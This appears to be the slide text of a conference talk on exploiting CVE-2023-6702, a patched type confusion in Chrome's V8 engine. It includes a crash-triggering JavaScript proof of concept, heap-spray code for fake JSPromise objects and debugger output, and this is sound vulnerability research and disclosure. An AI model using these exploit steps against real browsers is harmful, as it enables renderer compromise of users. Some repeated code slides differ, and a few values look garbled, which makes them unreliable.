From the Vulnerability to the Victory: A Chrome Renderer 1-Day Exploit’s Journey to v8CTF Glory

# TyphoonCon 2024

Haein Lee & Insu Yun
KAIST Hacking Lab
Agenda

- About us
- Introduction to Google v8CTF
- The Vulnerability: CVE-2023-6702
- The Exploit: Chrome-118
- Conclusion & Takeaways
About us

Haein Lee
- PhD student
  @ KAIST Hacking Lab

Insu Yun
- Assistant professor
  @ KAIST EE & GSIS
- Leader of KAIST Hacking Lab
Browser is an intriguing target

Spyware vendors use 0-days and n-days against popular platforms
Introduction to Google v8CTF

- Bug(exploit) bounty program for V8 JavaScript engine
  - Orthogonal to the Chrome VRP
- Originated from kCTF infra
- Accept 0day/1day exploits
  - Average runtime < 5 min
  - Success rate > 80%
- Reward of $10,000
### Public v8CTF submissions: Responses

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Flag</th>
<th>Exploit hash</th>
<th>Version</th>
<th>Status</th>
<th>0-day</th>
<th>Bug</th>
<th>Report</th>
</tr>
</thead>
<tbody>
<tr>
<td>10/25/2023</td>
<td>v8CTF{1698267 45ff096edef1c5f} M117</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/1472121</td>
<td>10/30/2023</td>
<td>v8CTF{1698645 930fa1bd79e13f} M117</td>
<td>invalid n-day</td>
</tr>
<tr>
<td>1/12/2024 15:35 v8CTF{1705068 7c2b36ae7f454e} M118</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/15009576</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1/12/2024 16:13 v8CTF{1705071 9c7aa44ff2529} M120</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/1515930</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1/16/2024 11:57 v8CTF{1705399 7b6f1c7cedba} M120</td>
<td>confirmed</td>
<td>0-day</td>
<td>crbug.com/330760873</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3/23/2024 8:42 v8CTF{1711177 2fe360c0a08} M121</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/323694592</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3/29/2024 7:46 v8CTF{1711692 7b8aff8ae5494} M122</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/330760873</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4/3/2024 11:19 v8CTF{1712134 d89fd44f8e88e} M123</td>
<td>duplicate</td>
<td>n-day</td>
<td>crbug.com/330760873</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4/6/2024 19:58 v8CTF{1712422 af8520642523f} M123</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/330575498</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5/17/2024 22:02 v8CTF{1715976 e9b47c91e410a} M124</td>
<td>confirmed</td>
<td>n-day</td>
<td>crbug.com/330575498</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

This talk
The Vulnerability: CVE-2023-6702

High CVE-2023-6702: Type Confusion in V8. Reported by Zhiyi Zhang and Zhunki from Codesafe Team of Legendsec at Qi’anxin Group on 2023-01-14

High CVE-2023-6703: Use after free in Blink. Reported by Cassidy Kim (@cassidy6564) on 2023-11-14

High CVE-2023-6704: Use after free in libavif.

High CVE-2023-6705: Use after free in WebRTC

High CVE-2023-6706: Use after free in FedCM

Medium CVE-2023-6707: Use after free in CSS

<table>
<thead>
<tr>
<th>Vulnerability Description</th>
<th>High-quality report with functional exploit</th>
<th>High-quality report</th>
<th>Baseline</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandbox escape / Memory corruption in a non-sandboxed process</td>
<td>$40,000 [1]</td>
<td>$30,000 [1]</td>
<td>Up to $20,000 [1]</td>
</tr>
<tr>
<td>Universal Cross Site Scripting (includes Site Isolation bypass)</td>
<td>$20,000</td>
<td>$15,000</td>
<td>Up to $10,000</td>
</tr>
<tr>
<td>Memory Corruption in a highly privileged process (e.g. GPU or network processes)</td>
<td>$20,000</td>
<td>$15,000</td>
<td>Up to $10,000</td>
</tr>
<tr>
<td>Renderer RCE / memory corruption in a sandboxed process</td>
<td>$15,000</td>
<td>$10,000</td>
<td>Up to $7,000</td>
</tr>
<tr>
<td>Security UI Spoofing</td>
<td>$7,500</td>
<td>N/A [2]</td>
<td>Up to $3,000</td>
</tr>
</tbody>
</table>
The Vulnerability: Basics

- Type confusion bug in V8
- No regression test :(

Bug Introduced 2020-05-13

Bug Report 2023-11-10

Stable Channel Update 2023-12-12

v8CTF submit 2024-01-12

Disclosure 2024-02-23

[Promise.any] Implement async stack traces for Promise.any

Here we are!
The report **does not contain exploit** code

But, there’s a comment that mentions its exploitability

---

*sa...@google.com <sa...@google.com> #26*

This is a type confusion that should be **exploitable** for memory corruption, so adjusting severity accordingly.
The Vulnerability: Patch

- The problem occurs when the `closure` has already run while processing async stack trace

```diff
diff --git a/src/execution/isolate.cc b/src/execution/isolate.cc
index 28362288f872...5a4c0d766e2 108644
--- a/src/execution/isolate.cc
+++ b/src/execution/isolate.cc
@@ -1042,7 +1042,13 @@ void CaptureAsyncStackTrace(Isolate* isolate, Handle<JSPromise> promise,
                   isolate);
         builder->AppendPromiseCombinatorFrame(function, combinator);

- // Now peek into the Promise.all() resolve element context to
- if (IsNativeContext(*context)) {
-     // NativeContext is used as a marker that the closure was already
-     // called. We can't access the reject element context any more.
-     return;
-   }
+ // Now peek into the Promise.all() resolve element context to
+ if (IsNativeContext(*context)) {
+     // NativeContext is used as a marker that the closure was already
+     // called. We can't access the reject element context any more.
+     return;
+   }
+ // Find the promise capability that's being resolved when all
+ // the concurrent promises resolve.
+ int const index =
```
Prerequisites: Async stack trace

```javascript
async function foo(x) {
    await bar(x);
}

async function bar(x) {
    await x;
    throw new Error("Let's have a look...");
}

foo(1).catch(e => console.log(e.stack));
```
Prerequisites: Async stack trace

```javascript
async function foo(x) {
    await bar(x);
}

async function bar(x) {
    await x;
    throw new Error("Let's have a look...");
}

foo(1).catch(e => console.log(e.stack));
```

```bash
➜ v8 ./out/x64.debug/d8 --no-async-stack-traces t.js
Error: Let's have a look...
at bar (t.js:7:9)
```

```bash
➜ v8 ./out/x64.debug/d8 --async-stack-traces t.js
Error: Let's have a look...
at bar (t.js:7:9)
  at async foo (t.js:2:3)
```
The Vulnerability: Patch

- The problem occurs when the closure has already run while processing async stack trace

```diff
diff --git a/src/execution/isolate.cc b/src/execution/isolate.cc
index 2836228f872...5a4ccdf76e02 106644
--- a/src/execution/isolate.cc
+++ b/src/execution/isolate.cc
@@ -1042,7 +1042,13 @@ void CaptureAsyncStackTrace(Isolate* isolate, Handle<JSPromise> promise,
                          isolate);
        builder->AppendPromiseCombinatorFrame(function, combinator);

-       // Now peak into the Promise.all() resolve element context to
-       if (IsNativeContext(*context)) {
-         // NativeContext is used as a marker that the closure was already
-         // called. We can’t access the reject element context any more.
-         return;
-       }
-       
+       // Now peak into the Promise.all() resolve element context to
+       // Find the promise capability that’s being resolved when all
+       // the concurrent promises resolve.
+       const int index =
```
What’s the closure?

```javascript
1036 } else if (IsBuiltInFunction(isolate, reaction->fulfill_handler(),
1037      Builtins::kPromiseAllResolveElementClosure)) {
1038     Handle<JSFunction> function(JSFunction::cast(reaction->fulfill_handler())
1039       ->isolate);
1040     Handle<Context> context(function->context(), isolate);
1041     Handle<JSFunction> combinator(context->native_context()->promise_all(),
1042       isolate);
1043     builder->AppendPromiseCombinatorFrame(function, combinator);
1044
1045     if (IsNativeContext(*context)) {
1046       // NativeContext is used as a marker that the closure was already
1047       // called. We can't access the reject element context any more.
1048       return;
1049     }
1050
1051     // Now peek into the Promise.all() resolve element context to
1052     // find the promise capability that's being resolved when all
1053     // the concurrent promises resolve.
```
Promise.all

- Explicit built-in function
- Input: An iterable of promises / Output: A single promise
- Behavior
  - From a given promise array, it **tries to resolve all promises**.
  - When all of the input promises fulfill, the returned promise fulfills with an array of the fulfillment values.
  - When any of the input promises rejects, the returned promise rejects with the first rejection reason.
Promise.all

```javascript
const promise1 = Promise.resolve(3);
const promise2 = 42;
const promise3 = new Promise((resolve, reject) => {
    setTimeout(resolve, 100, 'foo');
});

Promise.all([promise1, promise2, promise3]).then((values) => console.log(values)).catch((err) => console.log(err));
```

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/all
Promise.all

```javascript
const promise1 = Promise.resolve(3);
const promise2 = 42;
const promise3 = new Promise((resolve, reject) => {
    setTimeout(resolve, 100, 'foo');
});

Promise.all([promise1, promise2, promise3])
    .then((values) => console.log(values))
    .catch((err) => console.log(err));
```

promise1.then(<res, rej>)

Promise.all Resolve Element Closure

Returned Promise's reject function (err) => console.log(err)
Promise.all

```javascript
const promise1 = Promise.resolve(3);
const promise2 = 42;
const promise3 = new Promise((resolve, reject) => {
  setTimeout(resolve, 100, 'foo');
});

Promise.all([promise1, promise2, promise3]).then((values) => console.log(values)).catch((err) => console.log(err));
```

promise1.then(<res, rej>)

Promise.all Resolve Element Closure

What's `Promise.all Resolve Element Closure`'s role?
- It captures the fulfillment value of each promise
- It maintains the array of fulfillment values

Returned Promise's reject function (err) => console.log(err)
Prerequisites: The closure

27.2.4.13 **Promise.all Resolve Element Functions**

A `Promise.all` resolve element function is an anonymous built-in function that is used to resolve a specific `Promise.all` element. Each `Promise.all` resolve element function has `[[Index]], [[Values]], [[Capability]], [[RemainingElements]],` and `[[AlreadyCalled]]` internal slots.

When a `Promise.all` resolve element function is called with argument `x`, the following steps are taken:

1. Let `F` be the active function object.
2. If `F.[[AlreadyCalled]]` is `true`, return `undefined`.
3. Set `F.[[AlreadyCalled]]` to `true`.
4. Let `Index` be `F.[[Index]]`.
5. Let `values` be `F.[[Values]]`.
7. Let `remainingElementsCount` be `F.[[RemainingElements]]`.
8. Set `values[Index]` to `x`.
9. Set `remainingElementsCount.[[Value]]` to `remainingElementsCount.[[Value]] - 1`.
10. If `remainingElementsCount.[[Value]] = 0`, then
    a. Let `valuesArray` be `CreateArrayFromList(values)`.
11. Return `undefined`.

The "length" property of a `Promise.all` resolve element function is `1`. 

- **Intrinsic** built-in function
- Utility function for `Promise.all`
  - Resolve handler for each promise
The Vulnerability: Patch

- The problem occurs when the closure has already run while processing async stack trace

```diff
diff --git a/src/execution/isolate.cc b/src/execution/isolate.cc
index 2836228f872...5a4cdd760e2 100644
--- a/src/execution/isolate.cc
+++ b/src/execution/isolate.cc
@@ -1042,7 +1042,13 @@ void CaptureAsyncStackTrace(Isolate* isolate, Handle<JSPromise> promise,
                             isolate);
             builder->AppendPromiseCombinatorFrame(function, combinator);
             
-        // Now peak into the Promise.all() resolve element context to
-        if (IsNativeContext(+context)) {
-            // NativeContext is used as a marker that the closure was already
-            // called. We can't access the reject element context any more.
-            return;
-        }
+        // Now peak into the Promise.all() resolve element context to
+        // find the promise capability that's being resolved when all
+        // the concurrent promises resolve.
+        int const index =
```

Fix the case when the closure has run
Approach

- Grab the closure
- Call the closure
- Execute the patched code

Problem: We can’t access the closure, directly…
How to get the intrinsic built-in function?

```javascript
var closure;

function Constructor(executor) {
  executor(v => v, e => e);
}

Constructor.resolve = function(v) {
  return v;
}

let p1 = {
  then(onFul, onRej) {
    // onFul == Promise.all Resolve Element Closure
    // onRej == e => e
    closure = onFul;
    closure(1);
  }
};

async function foo() {
  await Promise.all.call(Constructor, [p1]);
  %DebugPrint(closure);
}

foo();
```

Synchronous promise resolving (from test262)
let p1 = {
  then(onFull, onRej) {
    // onFull == Promise.all Resolve Element Closure
    // onRej -- e -> e
    closure = onFull;
    // closure(1);
  }
};
Approach

Grab the closure → Call the closure → Execute the patched code
Execute the patched code

The idea is reusing the below sample code

```javascript
async function foo(x) {
    await bar(x);
}

async function bar(x) {
    await x;
    throw new Error("Let's have a look...");
}

foo(1).catch(e => console.log(e.stack));
```
① Use synchronous `Promise.all` to grab the closure.
② Set the closure as `foo`’s `fulfill_handler`.

* Note that the handler has already run.
PoC

③ Throw an error

↓

Create an async stack trace

↓

Create foo's stack frame

↓

Fulfill handler (the closure) has already run...

```javascript
async function foo() {
    await Promise.all.call(Constructor, [p1]);
    await bar(1);
}

async function bar(x) {
    await x;
    throw new Error("Let's have a look...");
}

foo()
    .then(closure)
    .catch(e => console.log(e.stack));
```
Crash!

→ v8 ./out/x64.debug/d8 poc.js

# Fatal error in gen/torque-generated/src/objects/struct-tq-inl.inc, line 10
# Check failed: !v8::internal::v8_flags.enable_slow_asserts.value() || (IsStruct_NonInline(*this)).
#
#
#FailureMessage Object: 0x7ff8d0cb15ee8
==== C stack trace =============================
Crash location?

In file: /home/haein/from_v_to_v/v8/v8/src/execution/isolate.cc:1029
1024    // find the promise capability that's being resolved when all
1025    // the concurrent promises resolve.
1026    int const index =
1027    PromiseBuiltins::kPromiseAllResolveElementCapabilitySlot;
1028    Handle<PromiseCapability> capability(
1029        PromiseCapability::cast(context->get(index)), isolate);
1030    if (!IsJSPromise(capability->promise())) return;
1031    promise = handle(JSPromise::cast(capability->promise()), isolate);
1032    } else if (IsBuiltinFunction(
1033        isolate, reaction->fulfill_handler(),
1034        Builtins::kPromiseAllSettledResolveElementClosure)) {
Type confusion

In file: /home/haein/from_v_to_v/v8/v8/src execution/isolate.cc:1029
1024     // find the promise capability that's being resolved when all
1025     // the concurrent promises resolve.
1026     int const index =
1027     PromiseBuiltins::kPromiseAllResolveElementCapabilitySlot;
1028     Handle<PromiseCapability> capability(
1029         PromiseCapability::cast(context->get(index)), isolate);
1030     if (!IsJSPromise(capability->promise())) return;
1031     promise = handle(JSPromise::cast(capability->promise()), isolate);
1032     } else if (IsBuiltinFunction(
1033         isolate, reaction->fulfill_handler(),
1034         Builtins::kPromiseAllSettledResolveElementClosure)) {


Type confusion

In file: /home/haein/from_v_to_v/v8/v8/src execution/isolate.cc:1029
1024  // find the promise capability that’s being resolved when all
1025  // the concurrent promises resolve.
1026  int const index =
1027    PromiseBuiltins::kPromiseAllResolveElementCapabilitySlot;
1028  Handle<PromiseCapability*> capability(
1029   PromiseCapability::cast(context->get(index)), isolate);
1030  if (!IsJSPromise(capability->promise())) return;
1031  promise = handle(JSPromise::cast(capability->promise()), isolate);
1032  } else if (IsBuiltinFunction(
1033    isolate, reaction->fulfill_handler(),
1034    Builtins::kPromiseAllSettledResolveElementClosure)) {

Expect: Context→PromiseCapability
Actual: NativeContext→JSGlobalProxy
Type confusion

In file: /home/haein/from_v_to_v/v8/v8/src.execution/isolate.cc:1029
1024    // find the promise capability that's being resolved when all
1025    // the concurrent promises resolve.
1026    int const index =
1027    PromiseBuiltins::kPromiseAllResolveElementCapabilitySlot;
1028    Handle<PromiseCapability> capability(
1029        PromiseCapability::cast(context->get(index)), isolate);
1030    if (!IsJSPromise(capability->promise())) return;
1031    promise = handle(JSPromise::cast(capability->promise()), isolate);
1032    } else if (IsBuiltinFunction(
1033        isolate, reaction->fulfill_handler(),
1034        Builtins::kPromiseAllSettledResolveElementClosure)) {

Expect: Context→PromiseCapability→JSPromise
Actual : NativeContext→JSGlobalProxy→hash
Type confusion between `PromiseCapability` and `JSGlobalProxy`
Can we control the hash value? No

Total random in range (0, 0x7fffffff)

```c
int Isolate::GenerateIdentityHash(uint32_t mask) {
    int hash;
    int attempts = 0;
    do {
        hash = random_number_generator()->NextInt() & mask;
    } while (hash == 0 && attempts++ < 30);
    return hash != 0 ? hash : 1;
}
```
Crash: Use hash value as a pointer

- By the **pointer compression**, V8 heap pointer is represented as 4 bytes
- It interprets the hash value (SMI) as V8 heap pointer
Use hash value as pointer

- By the pointer compression, V8 heap pointer is represented as 4 bytes
- It interprets the hash value (SMI) as V8 heap pointer
- With sprayed JSPromise, we can dereference fake JSPromise with the hash value
The Exploit

1. Spray JSPromise objects
2. Use the hash value as a JSPromise pointer
3. Create a **fake async stack frame**
4. Retrieve an oob array from the fake async stack frame
1. Spray JSPromise objects

```javascript
// Spray JSPromise
const jspromise = {
    helper.pair_i32_to_f64(0x0, 0x081b5a9 << 8),
    helper.pair_i32_to_f64(0x00000219 << 8, 0x00000219 << 8),
    helper.pair_i32_to_f64((fake_objs_elems_addr + 0x10) << 8, 0x0),
};
// DebugPrint(jspromise);

var xx = new Array(1.1, 1.2);
for (let i = 0; i < 0xc00; i++) {
    xx.push(jspromise[0]);
    xx.push(jspromise[1]);
    xx.push(jspromise[2]);
}
var xx2 = new Array(1.1, 1.2);
for (let i = 0; i < 0xc00; i++) {
    xx2.push(jspromise[0]);
    xx2.push(jspromise[1]);
    xx2.push(jspromise[2]);
}
var xx3 = new Array(1.1, 1.2);
for (let i = 0; i < 0x400; i++) {
    xx3.push(jspromise[0]);
    xx3.push(jspromise[1]);
    xx3.push(jspromise[2]);
}
```
SMI as pointer

|------ 32 bits ------|------ 32 bits ------|
Compressed pointer: |______offset____w1|
Compressed Smi: |____int31_value__0|
SMI as pointer

- The hash value ranges in \((0, 0xfffff)\)

```
|----- 32 bits -----|----- 32 bits -----|
Compressed pointer: |______offset____w1|
Compressed Smi:     |____int31_value___0|
```
SPM as pointer

- The hash value ranges in (0, 0xffffffff)
- In memory, it will be stored in (0, 0xffffffff << 1) with even number

|----- 32 bits -----|----- 32 bits -----|
Compressed pointer: |______offset____w1|
Compressed Smi: |______int31_value__0|
SMI as pointer

- The hash value ranges in \((0, 0xffffffff)\)
- In memory, it will be stored in \((0, 0xffffffff \ll 1)\) with even number

Observations
1. Interpreted pointer address will be an odd number
2. Spray JSPromise in range \((0, 0xffffffff \ll 1)\)
1. Spray JSPromise objects

```javascript
// Spray JSPromise
const jspromise = [
    helper.pair_i32_to_f64(0x0, 0x00018b5a9 << 8),
    helper.pair_i32_to_f64(0x000000219 << 8, 0x000000210 << 8),
    helper.pair_i32_to_f64((fake_objs_elems_addr + 0x18) << 8, 0x0),
];
// %DebugPrint(jspromise);

var xx = new Array(1.1, 1.2);
for (let i = 0; i < 0x0000; i++) {
    xx.push(jspromise[0]);
    xx.push(jspromise[1]);
    xx.push(jspromise[2]);
}

var xx2 = new Array(1.1, 1.2);
for (let i = 0; i < 0x0000; i++) {
    xx2.push(jspromise[0]);
    xx2.push(jspromise[1]);
    xx2.push(jspromise[2]);
}

var xx3 = new Array(1.1, 1.2);
for (let i = 0; i < 0x0000; i++) {
    xx3.push(jspromise[0]);
    xx3.push(jspromise[1]);
    xx3.push(jspromise[2]);
}
```

1. “<< 8” to make JSPromise address odd number

2. Use small for-loops to fit in the range (0, 0xfffff << 1)
SMI as pointer (example)

Hash: 0x4ee16
Make the exploit more reliable

Rules

The following rules apply to the eligibility of exploits:

- Your exploit needs to exfiltrate the flag from our v8CTF infrastructure.
- Only the first submission for a given bug that leads to the initial memory corruption is eligible.
- Only the first submission per deployed V8 version in v8CTF is eligible based on the timestamp of the form submission.
  - 0-day submissions are exempt from this limit.
- Exploits need to be reasonably fast and stable. **We accept submissions with an average runtime of less than 5 minutes and at least 80% success rate.**
- Valid submissions get a reward of $10,000.
Make the exploit more reliable

- Create iframes with a different domain
- Crash in iframe does not effect to main process

https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
Create **fake** async stack frame

```c
void CaptureAsyncStackTrace(..., promise, builder) {
  while (!builder->full()) {
    // Check promise is valid
    if (IsAsyncFunctionAwaitResolveClosure(promise->reaction->fulfill_handler) ||
        IsAsyncGeneratorAwaitResolveClosure(promise->reaction->fulfill_handler) || ...) {
      builder->AppendAsyncFrame(promise->...->generator_object);
      // Continue to next promise if possible
    } else if (IsPromiseAllResolveElementClosure(promise->reaction->fulfill_handler)) {
      builder->AppendPromiseCombinatorFrame(..., promise.all);
      // PATCH: if context is `NativeContext`, return.
      // Continue to next promise if possible
      if (!IsJSPromise(context->capability->promise)) return;
      promise = capability->promise;
    // Handle other cases
    } else if (...) {
      ...
    }
  }
}
```
Create **fake** async stack frame

```c
void CaptureAsyncStackTrace(..., promise, builder) {
  while (!builder->Full()) {
    // Check promise is valid
    if (IsAsyncFunctionAwaitResolveClosure(promise->reaction->fulfill_handler) ||
        IsAsyncGeneratorAwaitResolveClosure(promise->reaction->fulfill_handler) || ...)) {
      builder->AppendAsyncFrame(promise->...->generator_object);
      // Continue to next promise if possible
    } else if (IsPromiseAllResolveElementClosure(promise->reaction->fulfill_handler)) {
      builder->AppendPromiseCombinatorFrame(..., promise.all);
      // PATCH: if context is `NativeContext`, return.
      // Continue to next promise if possible
      if (!IsJSPromise(context->capability->promise)) return;
      promise = capability->promise;
      // Handle other cases
    } else if (...) {
      ...
    }
  }
}
```
Create **fake** async stack frame

```c
void CaptureAsyncStackTrace(..., promise, builder) {
    while (!builder->Full()) {
        // Check promise is valid

        if (IsAsyncFunctionAwaitResolveClosure(promise->reaction->fulfill_handler) ||
            IsAsyncGeneratorAwaitResolveClosure(promise->reaction->fulfill_handler) || ...)
            builder->AppendAsyncFrame(promise->...->generator_object);
        // Continue to next promise if possible

    } else if (IsPromiseAllResolveElementClosure(promise->reaction->fulfill_handler)) {
        builder->AppendPromiseCombinatorFrame(..., promise.all);
        // PATCH: if context is `NativeContext`, return.

        // Continue to next promise if possible
        if (!IsJSPromise(context->capability->promise)) return;
        promise = capability->promise;

        // Handle other cases
    } else if (...) {
        ...
    }
}
```
Create fake async stack frame

void CaptureAsyncStackTrace(..., promise, builder) {
  while (!builder->Full()) {
    // Check promise is valid
    if (IsAsyncFunctionAwaitResolveClosure(promise->reaction->fulfill_handler) ||
        IsAsyncGeneratorAwaitResolveClosure(promise->reaction->fulfill_handler) || ...) {
      builder->AppendAsyncFrame(promise->...->generator_object);
      // Continue to next promise if possible
    } else if (IsPromiseAllResolveElementClosure(promise->reaction->fulfill_handler)) {
      builder->AppendPromiseCombinatorFrame(..., promise.all);
      // PATCH: if context is 'NativeContext', return.
      // Continue to next promise if possible
      if (!IsJSPromise(context->capability->promise)) return;
      promise = capability->promise;
      // Handle other cases
    } else if (...) {
      ...
    }
  }
}
Beyond crash

Check the promise is valid to append an async frame

```c
void CaptureAsyncStackTrace(Isolate* isolate, Handle<JSPromise> promise,
                           CallSiteBuilder* builder) {
  while (!builder->Full()) {
    // Check that the [promise] is not settled.
    if (promise->status() != Promise::kPending) return;

    // Check that we have exactly one PromiseReaction on the [promise].
    if (!IsPromiseReaction(promise->reactions())) return;

    Handle<PromiseReaction> reaction(
      promise->reactions());
    isolate:
    if (!IsSmi(reaction->next())) return;

    // Check if the [reaction] has one of the known async function or
    // async generator continuations as its fulfill handler.
    if (IsBuiltinFunction(isolate, reaction->fulfill_handler(),
                          Builtins::kAsyncFunctionAwaitResolveClosure) ||
        IsBuiltinFunction(isolate, reaction->fulfill_handler(),
                          Builtins::kAsyncGeneratorAwaitResolveClosure) ||
        IsBuiltinFunction(isolate, reaction->fulfill_handler(),
                          Builtins::kAsyncGeneratorYieldWithAwaitResolveClosure)) {
```
extern class JSPromise extends JObjectWithEmbedderSlots {
    macro Status(): PromiseState {
        return this.flags.status;
    }

    macro SetStatus(status: constexpr PromiseState): void {
        dcheck(this.Status() == PromiseState::kPending);
        dcheck(status != PromiseState::kPending):

        this.flags.status = status;
    }

    macro HasHandler(): bool {
        return this.flags.has_handler;
    }

    macro SetHasHandler(): void {
        this.flags.has_handler = true;
    }

    // Smi 0 terminated list of PromiseReaction objects in case the JSPromise was
    // not settled yet, otherwise the result.
    reactions_or_result: Zero|PromiseReaction|JSAny;
    flags: SmiTagged<JSPromiseFlags>;
}
DebugPrint: 0x16430004e5a5: [JSPromise]
- map: 0x16430018b5a9 <Map[20]>(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x16430018b661 <Object map = 0x16430018b5d1>
- elements: 0x16430000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- status: pending
- reactions: 0x16430004e6c9 <PromiseReaction>
- has_handler: 1
- handled_hint: 0
- is_silent: 0
- properties: 0x16430000219 <FixedArray[0]>
- All own properties (excluding elements): {}
Beyond crash

Check the promise is valid to append an async frame

```c
void CaptureAsyncStackTrace(isolate* isolate, Handle<JSPromise> promise,
                               CallSiteBuilder* builder) {
  while (!builder->Full()) {
    // Check that the [promise] is not settled.
    if (promise->status() != Promise::kPending) return;

    // Check that we have exactly one PromiseReaction on the [promise].
    if (!IsPromiseReaction(promise->reactions())) return;
    Handle<PromiseReaction> reaction(
        PromiseReaction::cast(promise->reactions()).isolate);
    if (!IsSmi(reaction->next()).isolate) return;

    // Check if the [reaction] has one of the known async function or
    // async generator continuations as its fulfill handler.
    if (IsBuiltinFunction(isolate, reaction->fulfill_handler(),
                          Builtins::kAsyncFunctionAwaitResolveClosure) ||
        IsBuiltinFunction(isolate, reaction->fulfill_handler(),
                          Builtins::kAsyncGeneratorAwaitResolveClosure) ||
        IsBuiltinFunction(isolate, reaction->fulfill_handler(),
                          Builtins::kAsyncGeneratorYieldWithAwaitResolveClosure)) {
```

extern class PromiseReaction extends Struct {
  @if(V8_ENABLE_CONTINUATION_PRESERVED_EMBEDDER_DATA)
  continuation_preserved_embedder_data: Object|Undefined;
  next: PromiseReaction|Zero;
  reject_handler: Callable|Undefined;
  fulfill_handler: Callable|Undefined;
  // Either a JSPromise (in case of native promises), a PromiseCapability
  // (general case), or undefined (in case of await).
  promise_or_capability: JSPromise|PromiseCapability|Undefined;
}
PromiseReaction

```
pwndbg> job 0x16430004e6c9
0x16430004e6c9: [PromiseReaction]
  - map: 0x1643000013cd <Map[24](PROMISE_REACTION_TYPE)>
  - next: 0
  - reject_handler: 0x16430004e6ad <JSFunction (sfi = 0x164300025549)>
  - fulfill_handler: 0x16430004e691 <JSFunction (sfi = 0x164300025575)>
  - promise_or_capability: 0x16430000251 <undefined>
  - continuation_preserved_embedder_data: 0x16430000251 <undefined>
pwndbg> x/10wx 0x16430004e6c9-1
0x16430004e6c8: 0x000013cd 0x00000000 0x0004e6ad 0x0004e691
0x16430004e6d8: 0x00000251 0x00000251 0x00000000 0x00000000
0x16430004e6e8: 0x00000000 0x00000000
```

0x000013cd
0x00000000

`fulfill_handler`

PromiseReaction
Beyond crash

```javascript
// Check if the {reaction} has one of the known async function or
// async generator continuations as its fulfill handler.
if (IsBuiltInFunction(isolate, reaction->fulfill_handler(),
    Builtin::kAsyncFunctionAwaitResolveClosure) ||
    IsBuiltInFunction(isolate, reaction->fulfill_handler(),
    Builtin::kAsyncGeneratorAwaitResolveClosure) ||
    IsBuiltInFunction(
        isolate, reaction->fulfill_handler(),
        Builtin::kAsyncGeneratorYieldWithAwaitResolveClosure)) {
  // Now peek into the handlers’ AwaitContext to get to
  // the JSGeneratorObject for the async function.
  Handle<Context> context(
      JSFunction::cast(reaction->fulfill_handler())->context().isolate);;
  Handle<JSGeneratorObject> generator_object(
      JSGeneratorObject::cast(context->extension()).isolate);
  CHECK(generator_object->is_suspended());
}
// Append async frame corresponding to the {generator_object}.
builder->AppendAsyncFrame(generator_object);
```
fulfill_handler

```
pwndbg> j obx260c00137eed
0x260c00137eed: [Function]
  - map: 0x268c0081483bd <Map[28]> [HOLEY_ELEMENTS] [FastProperties]
  - prototype: 0x268c0081482f9 <JSFunction (sfi = 0x260c001395d)>.
  - elements: 0x260c00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
  - function prototype: <no-prototype-slot>
  - shared info: 0x260c00825575 <SharedFunctionInfo>
  - name: 0x260c000000e25 <String[0]: ">
  - builtin:AsyncFunctionAwaitResolveClosure
  - formal parameter count: 1
  - kind: NormalFunction
  - context: 0x260c008137e0d9 <AwaitContext generator= 0x260c00137af1 <JSAsyncFunctionObject>>
  - code: 0x260c00028f9e <Code BUILTIN AsyncFunctionAwaitResolveClosure>
  - properties: 0x260c00000219 <FixedArray[0]>
  - All own properties (excluding elements): {
    "0x260c00000e31": [String] in ReadOnlySpace: #length: 0x260c00025a11 <AccessorInfo name= 0x260c00000e31>,
    location: descriptor
    0x260c00000e5d: [String] in ReadOnlySpace: #name: 0x260c000259f9 <AccessorInfo name= 0x260c00000e5d>,
    location: descriptor
  - feedback vector: feedback metadata is not available in SFI
```

```
pwndbg>
0xc1300004d144: 0x001843bd 0x00000219 0x00000219 0x00043c80
0xc1300004d154: 0x00025575 0x0004d131 0x001421c1 0x001843bd
0xc1300004d164: 0x000000219 0x000000219
```

**address of Context**

**Function**
Beyond crash

979  // Check if the {reaction} has one of the known async function or
980  // async generator continuations as its fulfill handler.
981  if (IsBuiltInFunction(isolate, reaction->fulfill_handler(),
982       Builtins::kAsyncFunctionAwaitResolveClosure) ||
983     IsBuiltInFunction(isolate, reaction->fulfill_handler(),
984       Builtins::kAsyncGeneratorAwaitResolveClosure) ||
985     IsBuiltInFunction(
986       isolate, reaction->fulfill_handler(),
987       Builtins::kAsyncGeneratorYieldWithAwaitResolveClosure)) {
988    // Now peek into the handlers’ AwaitContext to get to
989    // the JSGeneratorObject for the async function.
990    Handle<Context> context(
991        JSFunction::cast(reaction->fulfill_handler())->context().isolate);
992    Handle<JSGeneratorObject> generator_object(
993        JSGeneratorObject::cast(context->extension()).isolate);
994    CHECK(generator_object->is_suspended());
995
996  // Append async frame corresponding to the {generator_object}.
997  builder->AppendAsyncFrame(generator_object);
Beyond crash

```javascript
extern class JSGeneratorObject extends JSObject {
    function: JSFunction;
    context: Context;
    receiver: JSAny;
    // For executing generators: the most recent input.
    // For suspended generators: debug information (bytecode index)
    // There is currently no need to remember the most
    // suspended generator.
    input_or_debug_pos: Object;
    // The most recent resume mode.
    resume_mode: Smi;
    // A positive value indicates a suspended generator.
    // kGeneratorExecuting and kGeneratorClosed values
    // cannot be resumed.
    continuation: Smi;
    // Saved interpreter register file.
    parameters_and_registers: FixedArray;
}
```
